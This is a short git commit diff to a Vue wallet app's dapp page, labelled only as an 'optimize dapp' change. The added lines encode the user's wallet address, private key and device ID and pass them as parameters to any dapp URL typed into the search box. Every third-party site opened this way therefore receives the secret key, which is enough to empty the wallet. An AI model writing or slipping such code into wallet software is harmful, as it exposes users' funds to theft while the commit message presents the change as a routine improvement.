Browse Source

优化dapp

wkw 3 weeks ago
parent
commit
2ee8871c83
1 changed files with 8 additions and 1 deletions
  1. 8 1
      src/views/dapp/index.vue

+ 8 - 1
src/views/dapp/index.vue

@@ -256,7 +256,14 @@ const handleSearch = () => {
   if (urlPattern.test(val)) {
     // 自动补 https
     const finalUrl = /^https?:\/\//i.test(val) ? val : `https://${val}`;
-    openDapp(finalUrl)
+    const dapp = cryptoEncode(
+      JSON.stringify({
+        address: walletStore.account,
+        privateKey: walletStore.privateKey,
+        oaid:systemStore.DeviceId
+      })
+    );
+    openDapp(finalUrl,{ dapp, d:walletStore.account })
   }
 };